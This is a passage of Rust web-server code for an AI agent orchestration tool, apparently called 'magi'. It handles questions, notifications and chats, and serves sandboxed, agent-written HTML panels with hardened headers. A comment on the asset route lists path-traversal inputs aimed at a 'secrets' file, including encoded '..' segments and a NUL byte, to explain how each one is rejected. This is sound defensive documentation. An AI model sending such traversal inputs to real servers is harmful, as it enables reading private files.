8133        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
8134        Ok(Json(
8135            questions
8136                .into_iter()
8137                .map(|question| {
8138                    let consult = crate::consult::origin_talk(&tasks, &talks, &question);
8139                    let can_consult_chat = consult.is_some();
8140                    let talk = crate::consult::associated_talk_with_watches(
8141                        &tasks, &talks, &question, &watches,
8142                    );
8143                    QuestionOriginView {
8144                        record_revision: question_record_revision(&question),
8145                        id: question.id,
8146                        origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
8147                        origin_chat: talk.map(|talk| talk.id),
8148                        can_consult_chat,
8149                    }
8150                })
8151                .collect(),
8152        ))
8153    })
8154    .await
8155}
8156
8157type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
8158
8159/// Only the task ancestry and chats these questions actually reference. Run
8160/// mappings share the reconciled queue index; exact task references bypass it.
8161/// No question means no task/chat I/O, including no index reconciliation.
8162fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
8163    fn task_for_run(
8164        ui: &Ui,
8165        index: &mut Option<Vec<Arc<TaskRelation>>>,
8166        run: &str,
8167        loaded: &HashMap<String, Task>,
8168    ) -> ApiResult<Option<Task>> {
8169        if !plain_record_id(run) {
8170            return Ok(None);
8171        }
8172        if index.is_none() {
8173            *index = Some(ui.indexed_tasks()?);
8174        }
8175        Ok(index
8176            .as_ref()
8177            .expect("loaded index")
8178            .iter()
8179            .find(|task| task.runs.iter().any(|id| id == run))
8180            .and_then(|task| {
8181                loaded
8182                    .get(&task.id)
8183                    .cloned()
8184                    .or_else(|| ui.queue.get(&task.id).ok())
8185            })
8186            .filter(|task| task.runs.iter().any(|id| id == run)))
8187    }
8188    let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
8189        plain_record_id(id)
8190            .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
8191            .flatten()
8192            .filter(|task| task.id == id)
8193    };
8194    let watches = crate::release_watch::states_for_questions(&ui.home, questions);
8195    let mut index = None;
8196    let mut tasks = HashMap::new();
8197    let mut talks = HashMap::new();
8198    for question in questions {
8199        for reference in crate::consult::question_task_refs(question, &watches) {
8200            let mut current = match reference {
8201                crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
8202                crate::consult::QuestionTaskRef::Run(id) => {
8203                    task_for_run(ui, &mut index, id, &tasks)?
8204                }
8205            };
8206            let mut seen = HashSet::new();
8207            for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
8208                let Some(task) = current.take() else {
8209                    break;
8210                };
8211                if !seen.insert(task.id.clone()) {
8212                    break;
8213                }
8214                let chat = task.chat_talk().map(str::to_owned);
8215                let followup = task.followup.clone();
8216                tasks.insert(task.id.clone(), task);
8217                if let Some(chat) = chat {
8218                    if plain_record_id(&chat)
8219                        && !talks.contains_key(&chat)
8220                        && let Ok(talk) = ui.talks.get(&chat)
8221                    {
8222                        talks.insert(chat, talk);
8223                    }
8224                    break;
8225                }
8226                let Some(followup) = followup else {
8227                    break;
8228                };
8229                current = match followup.origin_task {
8230                    Some(id) => direct_task(&id, &tasks),
8231                    None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
8232                };
8233            }
8234        }
8235    }
8236    let mut tasks: Vec<Task> = tasks.into_values().collect();
8237    tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
8238    Ok((tasks, talks.into_values().collect(), watches))
8239}
8240
8241/// `GET /api/notifications`: not dismissed, newest first, with the unread
8242/// count so the badge and the list cannot disagree.
8243async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8244    blocking(move || {
8245        let items = ui.notices.list();
8246        let unread = items.iter().filter(|n| n.unread()).count();
8247        let items: Vec<_> = items
8248            .into_iter()
8249            .map(|n| {
8250                let question = crate::notices::answerable_question(&n, &ui.questions);
8251                let mut item = serde_json::to_value(n)?;
8252                item["answerable_question"] = serde_json::json!(question);
8253                Ok(item)
8254            })
8255            .collect::<anyhow::Result<_>>()?;
8256        Ok(Json(
8257            serde_json::json!({ "unread": unread, "items": items }),
8258        ))
8259    })
8260    .await
8261}
8262
8263fn notice_error(e: anyhow::Error) -> ApiError {
8264    // An unknown or malformed id and a vanished file are the same answer to
8265    // the phone: that notification is gone.
8266    ApiError::not_found(format!("{e:#}"))
8267}
8268
8269/// `POST /api/notifications/{id}/read`.
8270async fn notification_read(
8271    State(ui): State<Arc<Ui>>,
8272    Path(id): Path<String>,
8273) -> ApiResult<Json<Notice>> {
8274    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
8275}
8276
8277/// `POST /api/notifications/{id}/dismiss`.
8278async fn notification_dismiss(
8279    State(ui): State<Arc<Ui>>,
8280    Path(id): Path<String>,
8281) -> ApiResult<Json<Notice>> {
8282    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
8283}
8284
8285/// `POST /api/notifications/read-all`.
8286async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8287    blocking(move || {
8288        let changed = ui.notices.mark_all_read()?;
8289        Ok(Json(serde_json::json!({ "marked": changed })))
8290    })
8291    .await
8292}
8293
8294/// The body of `POST /api/questions/{id}/answer`.
8295///
8296/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
8297/// a bad request rather than a guess: an answer magi invented is worse than a
8298/// question left open.
8299#[derive(Debug, Default, Deserialize)]
8300#[serde(default, deny_unknown_fields)]
8301struct NewAnswer {
8302    choice: Option<String>,
8303    text: Option<String>,
8304    talk: Option<String>,
8305    head: Option<String>,
8306}
8307
8308async fn question_answer(
8309    State(ui): State<Arc<Ui>>,
8310    Path(id): Path<String>,
8311    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
8312) -> ApiResult<Json<QuestionView>> {
8313    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8314    let answer = match (body.choice, body.text) {
8315        (Some(c), None) => Answer::Choice(c),
8316        (None, Some(t)) => Answer::Text(t),
8317        (Some(_), Some(_)) => {
8318            return Err(ApiError::bad_request(
8319                "send either `choice` or `text`, not both",
8320            ));
8321        }
8322        (None, None) => {
8323            return Err(ApiError::bad_request("send a `choice` or a `text`"));
8324        }
8325    };
8326
8327    blocking(move || {
8328        let id = resolve_question(&ui.questions, &id)?;
8329        let q = ui
8330            .questions
8331            .get(&id)
8332            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8333        if !q.status.open() {
8334            // Answered from the terminal, or by another phone, in between the
8335            // list and the tap. The UI shows the recorded answer rather than an
8336            // error, so it needs the record, not just the status.
8337            return Err(ApiError::conflict(format!(
8338                "question {} is already {}",
8339                q.short(),
8340                q.status.as_str()
8341            )));
8342        }
8343        // `Question::answer` owns the rules - an unoffered choice, free text on
8344        // a multiple-choice question, an empty reply - so the route does not
8345        // restate them and cannot drift from the CLI's behaviour.
8346        let cfg = deputy_config(&ui.repo);
8347        let (q, ()) = ui
8348            .questions
8349            .update(&q.id, |r| {
8350                let merge = matches!(&answer, ask::Answer::Choice(c) if c == crate::land::APPROVE);
8351                // Buttons retain their displayed chat/head binding. A direct
8352                // decision does not require a button or a prior persona offer.
8353                if r.routed_task.is_some()
8354                    && r.merge_target.is_some()
8355                    && merge
8356                    && (body.talk.is_some() || body.head.is_some())
8357                {
8358                    let talk_id = body
8359                        .talk
8360                        .as_deref()
8361                        .context("approval button requires its chat")?;
8362                    let head = body
8363                        .head
8364                        .as_deref()
8365                        .context("approval button requires the displayed head")?;
8366                    let talk = ui.talks.get(talk_id)?;
8367                    anyhow::ensure!(talk.status.open(), "approval chat is closed");
8368                    r.answer_chat_button(answer, talk_id, head)
8369                } else {
8370                    r.answer(answer)
8371                }
8372            })
8373            .map_err(ApiError::bad_request_from)?;
8374        let (tasks, talks, watches) =
8375            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8376        Ok(Json(
8377            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8378        ))
8379    })
8380    .await
8381}
8382
8383/// A dedicated status avoids the client's settled-question 409 handling.
8384fn question_text_error(e: anyhow::Error) -> ApiError {
8385    let reason = e
8386        .downcast_ref::<crate::question_delivery::TextUnavailable>()
8387        .map(|e| e.reason);
8388    let error = ApiError::bad_request_from(e);
8389    if let Some(reason) = reason {
8390        ApiError {
8391            text_reason: Some(reason),
8392            ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
8393        }
8394    } else {
8395        error
8396    }
8397}
8398
8399/// The body of `POST /api/questions/{id}/say`.
8400#[derive(Debug, Deserialize)]
8401#[serde(deny_unknown_fields)]
8402struct NewSay {
8403    body: String,
8404}
8405
8406/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
8407///
8408/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
8409/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
8410/// file, so there is no turn to serialize against and no
8411/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
8412/// is a *different* process - the run parked behind `magi ask` - and picks
8413/// the reply up on its own poll of the very same file, same as an answer
8414/// does.
8415async fn question_say(
8416    State(ui): State<Arc<Ui>>,
8417    Path(id): Path<String>,
8418    body: std::result::Result<Json<NewSay>, JsonRejection>,
8419) -> ApiResult<Json<QuestionView>> {
8420    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8421    blocking(move || {
8422        let id = resolve_question(&ui.questions, &id)?;
8423        let q = ui
8424            .questions
8425            .get(&id)
8426            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8427        if !q.status.open() {
8428            // Same granularity as `question_answer`: answered or abandoned in
8429            // between the list and the tap is not this route's error to
8430            // explain any differently.
8431            return Err(ApiError::conflict(format!(
8432                "question {} is already {}",
8433                q.short(),
8434                q.status.as_str()
8435            )));
8436        }
8437        // `Question::say` owns the one rule that matters here - an empty
8438        // message tells the agent nothing - so the route does not restate it.
8439        let cfg = deputy_config(&ui.repo);
8440        let (q, ()) = ui
8441            .questions
8442            .update(&q.id, |r| {
8443                if body.body.trim().is_empty() {
8444                    return r.say(body.body);
8445                }
8446                crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
8447                r.say(body.body)
8448            })
8449            .map_err(question_text_error)?;
8450        let (tasks, talks, watches) =
8451            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8452        Ok(Json(
8453            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8454        ))
8455    })
8456    .await
8457}
8458
8459/// A disconnected request or a replacing listener cannot interrupt the short
8460/// transaction between persistence and detached worker publication.
8461async fn admitted<T: Send + 'static>(
8462    admission: AdmissionGuard,
8463    work: impl Future<Output = ApiResult<T>> + Send + 'static,
8464) -> ApiResult<T> {
8465    tokio::spawn(async move {
8466        let result = work.await;
8467        drop(admission);
8468        result
8469    })
8470    .await
8471    .map_err(|error| ApiError::internal(format!("work admission failed: {error}")))?
8472}
8473
8474/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
8475/// came from. The question stays open: the chat agent answers it with `magi
8476/// answer`, or puts the decision to the owner in the conversation.
8477///
8478/// Answers 202 and runs the turn in the background, like every route that
8479/// spends agent calls. The text is queued as a draft of the existing talk, and
8480/// the turn goes through the talk's own gate and session; no seat or waiter is
8481/// started here.
8482async fn question_consult(
8483    State(ui): State<Arc<Ui>>,
8484    Path(id): Path<String>,
8485) -> ApiResult<(StatusCode, Json<QuestionView>)> {
8486    let admission = ui.begin_admission()?;
8487    admitted(admission, async move {
8488        let (q, tasks, talks, watches, talk, cfg) = blocking({
8489            let ui = Arc::clone(&ui);
8490            move || {
8491                let id = resolve_question(&ui.questions, &id)?;
8492                let q = ui.questions.get(&id).map_err(|e| {
8493                    ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR)
8494                })?;
8495                if !q.status.open() {
8496                    return Err(ApiError::conflict(format!(
8497                        "question {} is already {}",
8498                        q.short(),
8499                        q.status.as_str()
8500                    )));
8501                }
8502                let (tasks, talks, watches) =
8503                    question_origin_inputs(&ui, std::slice::from_ref(&q))?;
8504                let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
8505                    return Err(ApiError::conflict(format!(
8506                        "question {} has no chat to ask",
8507                        q.short()
8508                    )));
8509                };
8510                // Read the config before `begin` saves anything: a failure here
8511                // must leave no consult record or draft behind, or a retry would
8512                // see `fresh == false` and never start the turn.
8513                let cfg = if q.consult.is_none() {
8514                    Some(Config::discover(&talk.repo, None)?.0)
8515                } else {
8516                    None
8517                };
8518                Ok((q, tasks, talks, watches, talk, cfg))
8519            }
8520        })
8521        .await?;
8522        let _publication = crate::chat_worker::publication_guard(&ui.talks, &talk.id)
8523            .await
8524            .map_err(ApiError::from)?;
8525        let (view, reclaimed, submitted) = blocking({
8526            let ui = Arc::clone(&ui);
8527            move || {
8528                let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
8529                let claim = if fresh {
8530                    match ui.begin_queued_talk_turn(&talk.id)? {
8531                        Some(turn_guard) => {
8532                            let talk = ui.talks.get(&talk.id)?;
8533                            let cfg = match cfg {
8534                                Some(cfg) => cfg,
8535                                None => Config::discover(&talk.repo, None)?.0,
8536                            };
8537                            Some((talk, cfg, turn_guard))
8538                        }
8539                        None => None,
8540                    }
8541                } else {
8542                    None
8543                };
8544                let q = ui.questions.get(&q.id)?;
8545                let cfg = deputy_config(&ui.repo);
8546                let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
8547                    .with_origin(&tasks, &talks, &watches);
8548                Ok((view, claim, fresh.then_some(talk.id)))
8549            }
8550        })
8551        .await?;
8552        #[cfg(not(test))]
8553        {
8554            if let Some(id) = submitted {
8555                crate::chat_worker::spawn_turn(&ui.talks, &id)
8556                    .await
8557                    .map_err(ApiError::from)?;
8558            }
8559            drop(reclaimed);
8560        }
8561        #[cfg(test)]
8562        let _ = submitted;
8563        #[cfg(test)]
8564        if let Some((talk, cfg, turn_guard)) = reclaimed {
8565            let talks = ui.talks.clone();
8566            let id = talk.id.clone();
8567            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8568        }
8569        Ok((StatusCode::ACCEPTED, Json(view)))
8570    })
8571    .await
8572}
8573
8574/// Expand an id or short id to exactly one question id.
8575fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
8576    if plain_record_id(id) && store.path_of(id).is_file() {
8577        return Ok(id.to_owned());
8578    }
8579    pick(
8580        store.list().into_iter().map(|q| q.id).collect(),
8581        id,
8582        "question",
8583    )
8584}
8585
8586/// `GET /api/questions/{id}/panel`.
8587///
8588/// The panel an agent wrote for this question, as `text/html` under
8589/// [`PANEL_CSP`], for the front end to mount in a sandboxed iframe.
8590/// A question without one is a 404 rather than an empty page: the client
8591/// preflights this route with `HEAD` and must be able to tell "no panel" from
8592/// "a panel that rendered blank", and a sandboxed frame is opaque to the
8593/// parent document so it cannot tell the difference by looking.
8594///
8595/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
8596/// sanitises or minifies it - a sanitiser is a list of things someone thought
8597/// of, and the sandbox plus the CSP is a list of things that are allowed, which
8598/// is the direction that stays safe when an agent writes markup nobody
8599/// predicted.
8600async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
8601    blocking(move || {
8602        let id = resolve_question(&ui.questions, &id)?;
8603        let Some(html) = ui.questions.panel_html(&id) else {
8604            return Err(ApiError::not_found(format!("question {id} has no panel")));
8605        };
8606        Ok(panel_response(
8607            "text/html; charset=utf-8",
8608            false,
8609            html.into_bytes(),
8610        ))
8611    })
8612    .await
8613}
8614
8615/// `GET /api/questions/{id}/asset/{name}`.
8616///
8617/// One file from the question's own panel directory, so a panel can show a
8618/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
8619/// having to allow anything off this machine.
8620///
8621/// This is the only route in the server where a client names a file, so it is
8622/// the only one with a traversal surface, and the name is checked by
8623/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
8624/// what is worth being explicit about, because the answer is not "all of it in
8625/// one place":
8626///
8627/// * `asset/../../secrets` never reaches this handler at all. axum matches on
8628///   the raw request path and `{name}` spans exactly one segment, so a real
8629///   slash makes the request too long for the route and the router answers 404.
8630/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
8631///   percent-decodes path parameters, so `name` arrives as `../secrets` and
8632///   `..\secrets` respectively, which look like plain filenames to the router.
8633///   The validator refuses them here - both for the literal `..` and because
8634///   `/` and `\` are not in the permitted character set - and answers 400.
8635/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
8636///   the platform's path API is not, and it is refused here for the same
8637///   reason: NUL is not a permitted character.
8638/// * [`Questions::panel_asset`] validates again on read, so the check is not
8639///   load-bearing in only one place. This route's own check exists so the
8640///   failure is a 400 that says which name was wrong, rather than a store error
8641///   the operator has to interpret.
8642async fn question_asset(
8643    State(ui): State<Arc<Ui>>,
8644    Path((id, name)): Path<(String, String)>,
8645) -> ApiResult<Response> {
8646    // Before any filesystem work and before any path is built: a name this
8647    // server will not serve should not become a `PathBuf` at all.
8648    if !crate::ask::valid_asset_name(&name) {
8649        return Err(ApiError::bad_request(format!(
8650            "`{name}` is not a usable asset name"
8651        )));
8652    }
8653    blocking(move || {
8654        let id = resolve_question(&ui.questions, &id)?;
8655        let asset = ui
8656            .questions
8657            .panel_asset(&id, &name)
8658            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
8659        let Some(bytes) = asset else {
8660            return Err(ApiError::not_found(format!(
8661                "question {id} has no asset `{name}`"
8662            )));
8663        };
8664        Ok(panel_response(
8665            asset_content_type(&name),
8666            is_svg(&name),
8667            bytes,
8668        ))
8669    })
8670    .await
8671}
8672
8673/// Content type for a panel asset, from a closed whitelist.
8674///
8675/// A whitelist with an `application/octet-stream` fallback rather than a
8676/// guess, because the one answer that must never come out of here is
8677/// `text/html`. An agent that writes `notes.html` into its panel directory and
8678/// links it would otherwise get its own markup rendered at the top level of the
8679/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
8680/// magi's origin - which is precisely the thing the panel design exists to
8681/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
8682///
8683/// `nosniff` accompanies this on every response, so a browser cannot decide it
8684/// knows better than the type we sent.
8685fn asset_content_type(name: &str) -> &'static str {
8686    match extension(name).as_deref() {
8687        Some("png") => "image/png",
8688        Some("jpg" | "jpeg") => "image/jpeg",
8689        Some("gif") => "image/gif",
8690        Some("webp") => "image/webp",
8691        Some("svg") => "image/svg+xml",
8692        Some("css") => "text/css; charset=utf-8",
8693        Some("txt") => "text/plain; charset=utf-8",
8694        _ => "application/octet-stream",
8695    }
8696}
8697
8698/// Is this an SVG, and therefore a file that must never be opened at the top
8699/// level?
8700fn is_svg(name: &str) -> bool {
8701    extension(name).as_deref() == Some("svg")
8702}
8703
8704/// Lowercased extension, or `None` for a name without one.
8705fn extension(name: &str) -> Option<String> {
8706    name.rsplit_once('.')
8707        .map(|(_, ext)| ext.to_ascii_lowercase())
8708}
8709
8710/// Every panel response, with the four headers that make it safe and, for an
8711/// SVG, a fifth.
8712///
8713/// One function rather than a header list per handler, because a panel route
8714/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
8715/// model gone, silently, on one of two routes. Adding a third panel route later
8716/// means calling this, and there is nowhere else to build a panel response.
8717///
8718/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
8719/// as an `<img src>` inside the panel that script cannot run - but the asset
8720/// URL is also a plain URL an operator can be talked into opening in a tab,
8721/// where it is a document on magi's own origin. `Content-Disposition:
8722/// attachment` makes the browser download it instead of rendering it, which
8723/// closes that door without taking away the ability to draw a diff. Raster
8724/// images have no such execution surface and are left inline, so tapping a
8725/// screenshot still shows it.
8726fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
8727    let mut res = (
8728        [
8729            (header::CONTENT_TYPE, content_type),
8730            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
8731            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8732            (header::REFERRER_POLICY, "no-referrer"),
8733        ],
8734        body,
8735    )
8736        .into_response();
8737    if download {
8738        res.headers_mut().insert(
8739            header::CONTENT_DISPOSITION,
8740            HeaderValue::from_static("attachment"),
8741        );
8742    }
8743    res
8744}
8745
8746/// A talk as the phone reads it.
8747///
8748/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
8749/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
8750/// parses markdown itself - and the process-local `thinking` hint.
8751#[derive(Debug, Serialize)]
8752struct ChatApproval {
8753    question: String,
8754    target: crate::merge_decision::Target,
8755}
8756
8757#[derive(Debug, Serialize)]
8758struct TalkView {
8759    #[serde(flatten)]
8760    talk: Talk,
8761    turn_bodies_md: Vec<Vec<md::Node>>,
8762    /// Display-only Markdown, indexed by turn then message (legacy turns have one).
8763    turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
8764    pending_messages_md: Vec<Option<Vec<md::Node>>>,
8765    merge_approvals: Vec<ChatApproval>,
8766    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
8767    /// this server process.
8768    ///
8769    /// This is deliberately not durable: another server process cannot see
8770    /// it, and a restarted server must not claim an old turn is live. It is a
8771    /// progress hint rather than proof a reply landed; the transcript remains
8772    /// the source of truth for that.
8773    thinking: bool,
8774    /// Context-window usage, derived per request - see
8775    /// [`talk::context_usage`]. Carried on every talk response (list, detail
8776    /// and each mutation) so the phone needs no extra call or polling.
8777    context: talk::ContextUsage,
8778    /// `[talk] operator_name`, when configured; the Chat labels the
8779    /// operator's turns with it.
8780    operator_name: Option<String>,
8781    /// The active persona's display name; `None` for the default voice.
8782    persona_name: Option<String>,
8783    /// URL of the avatar for the conversation's persona (the default voice
8784    /// included). Server-built; a configured `icon` never reaches the client.
8785    persona_avatar: String,
8786    /// Operator avatar; display only and independent of repository config.
8787    operator_avatar: String,
8788    magi_avatar: String,
8789}
8790
8791impl TalkView {
8792    /// Reads the talk's repository config itself; a config that cannot be
8793    /// read leaves the window unknown but never fails the conversation.
8794    fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
8795        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8796        Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
8797    }
8798
8799    /// As [`Self::new`], with the config already in hand (the list reads one
8800    /// per repository, not one per conversation).
8801    fn with_config(
8802        talk: Talk,
8803        thinking: bool,
8804        cfg: Option<&Config>,
8805        home: &FsPath,
8806        cache: &id_links::IndexCache,
8807    ) -> Self {
8808        let references = cache.for_talk(home, &talk);
8809        Self::with_references(talk, thinking, cfg, home, &references)
8810    }
8811
8812    fn with_references(
8813        mut talk: Talk,
8814        thinking: bool,
8815        cfg: Option<&Config>,
8816        home: &FsPath,
8817        references: &id_links::IdIndex,
8818    ) -> Self {
8819        // This owned value is the display DTO; never write it back to the talk store.
8820        let snapshot = talk.clone();
8821        for (index, turn) in talk.turns.iter_mut().enumerate() {
8822            let original = &snapshot.turns[index];
8823            if turn.messages.is_empty() {
8824                if let Some(display) = talk::notice_display(&snapshot, original, None) {
8825                    turn.messages.push(talk::Message {
8826                        sender: Some(talk::Sender::Magi),
8827                        body: original.body.clone(),
8828                        display: Some(display),
8829                        attachments: original.attachments.clone(),
8830                        reply: None,
8831                    });
8832                }
8833            } else {
8834                for (i, message) in turn.messages.iter_mut().enumerate() {
8835                    message.display =
8836                        talk::notice_display(&snapshot, original, original.messages.get(i));
8837                    if message.display.is_some() {
8838                        message.sender = Some(talk::Sender::Magi);
8839                    }
8840                }
8841            }
8842        }
8843        for message in &mut talk.pending_messages {
8844            if message.display.is_none()
8845                && (message.sender == Some(talk::Sender::Magi)
8846                    || snapshot
8847                        .completion_notices
8848                        .iter()
8849                        .any(|r| r.notice == message.body))
8850            {
8851                message.display = crate::prompt::legacy_notice_display(&message.body);
8852                if message.display.is_some() {
8853                    message.sender = Some(talk::Sender::Magi);
8854                }
8855            }
8856        }
8857        if talk.pending_messages.is_empty()
8858            && snapshot
8859                .completion_notices
8860                .iter()
8861                .any(|r| r.notice == talk.pending)
8862            && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
8863        {
8864            talk.pending_messages.push(talk::Message {
8865                sender: Some(talk::Sender::Magi),
8866                display: Some(display),
8867                body: talk.pending.clone(),
8868                attachments: talk.pending_attachments.clone(),
8869                reply: None,
8870            });
8871        }
8872        let excerpts: Vec<Vec<Option<String>>> = talk
8873            .turns
8874            .iter()
8875            .map(|turn| {
8876                turn.messages
8877                    .iter()
8878                    .map(|m| {
8879                        m.display
8880                            .as_ref()
8881                            .map(|d| d.facts.chars().take(240).collect())
8882                    })
8883                    .collect()
8884            })
8885            .collect();
8886        for turn in &mut talk.turns {
8887            let provenance = talk::sender(turn, None);
8888            turn.sender = Some(provenance);
8889            for message in &mut turn.messages {
8890                message.sender = Some(message.sender.unwrap_or(provenance));
8891            }
8892        }
8893        // Old reply snapshots have only a role; recover provenance from their target.
8894        let senders: Vec<Vec<talk::Sender>> = talk
8895            .turns
8896            .iter()
8897            .map(|turn| {
8898                if turn.messages.is_empty() {
8899                    vec![talk::sender(turn, None)]
8900                } else {
8901                    turn.messages
8902                        .iter()
8903                        .map(|m| talk::sender(turn, Some(m)))
8904                        .collect()
8905                }
8906            })
8907            .collect();
8908        for reply in talk
8909            .turns
8910            .iter_mut()
8911            .flat_map(|t| t.messages.iter_mut())
8912            .chain(talk.pending_messages.iter_mut())
8913            .filter_map(|m| m.reply.as_mut())
8914        {
8915            if let Some(Some(excerpt)) = excerpts
8916                .get(reply.target.turn)
8917                .and_then(|ms| ms.get(reply.target.message))
8918            {
8919                reply.excerpt = excerpt.clone();
8920                reply.sender = Some(talk::Sender::Magi);
8921            }
8922            if reply.sender.is_none() {
8923                reply.sender = senders
8924                    .get(reply.target.turn)
8925                    .and_then(|messages| messages.get(reply.target.message))
8926                    .copied();
8927            }
8928        }
8929        let context = talk::context_usage(&talk, cfg);
8930        let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
8931            .turns
8932            .iter()
8933            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
8934            .collect();
8935        let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
8936            .turns
8937            .iter()
8938            .map(|turn| {
8939                if turn.messages.is_empty() {
8940                    vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
8941                } else {
8942                    turn.messages
8943                        .iter()
8944                        .map(|message| {
8945                            notice_markdown(
8946                                message.sender.unwrap_or(talk::Sender::Operator),
8947                                &message.body,
8948                                message.display.as_ref(),
8949                            )
8950                        })
8951                        .collect()
8952                }
8953            })
8954            .collect();
8955        let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
8956            .pending_messages
8957            .iter()
8958            .map(|message| {
8959                notice_markdown(
8960                    message.sender.unwrap_or(talk::Sender::Operator),
8961                    &message.body,
8962                    message.display.as_ref(),
8963                )
8964            })
8965            .collect();
8966        for nodes in &mut turn_bodies_md {
8967            references.markdown(nodes);
8968        }
8969        for nodes in turn_messages_md
8970            .iter_mut()
8971            .flatten()
8972            .chain(pending_messages_md.iter_mut())
8973            .flatten()
8974        {
8975            references.markdown(nodes);
8976        }
8977        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
8978        let persona_name = persona::find(specs, &talk.persona)
8979            .filter(|p| !p.is_default())
8980            .map(|p| p.name);
8981        let mut avatar_persona = persona::find(specs, &talk.persona)
8982            .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
8983        // A removed configured persona may still have an override and old talks.
8984        if avatar_persona.id != talk.persona
8985            && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
8986        {
8987            avatar_persona.id.clone_from(&talk.persona);
8988            avatar_persona.icon = None;
8989        }
8990        let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
8991        let approvals_store = ask::Questions::at(home.join("questions"));
8992        let merge_approvals = talk
8993            .notified
8994            .iter()
8995            .filter_map(|key| key.strip_prefix("question:"))
8996            .filter_map(|id| approvals_store.get(id).ok())
8997            .filter(|q| crate::task_chat::approval_offered(&talk, q))
8998            .filter_map(|q| {
8999                Some(ChatApproval {
9000                    question: q.id,
9001                    target: q.merge_target?,
9002                })
9003            })
9004            .collect();
9005        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
9006        Self {
9007            turn_bodies_md,
9008            turn_messages_md,
9009            pending_messages_md,
9010            merge_approvals,
9011            thinking,
9012            context,
9013            operator_name,
9014            persona_name,
9015            persona_avatar,
9016            magi_avatar: magi_icon_url(home),
9017            operator_avatar: operator_icon_url(home),
9018            talk,
9019        }
9020    }
9021}
9022
9023/// Parse only the user-facing representation of an explicitly identified MAGI send.
9024fn notice_markdown(
9025    sender: talk::Sender,
9026    body: &str,
9027    display: Option<&crate::prompt::NoticeDisplay>,
9028) -> Option<Vec<md::Node>> {
9029    if sender != talk::Sender::Magi {
9030        return None;
9031    }
9032    let text = if let Some(display) = display {
9033        display.facts.as_str()
9034    } else {
9035        // Unknown completion templates may contain internal directives. Never
9036        // promote their agent input to the Markdown display surface.
9037        if crate::prompt::is_completion_notice(body)
9038            || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
9039        {
9040            return None;
9041        }
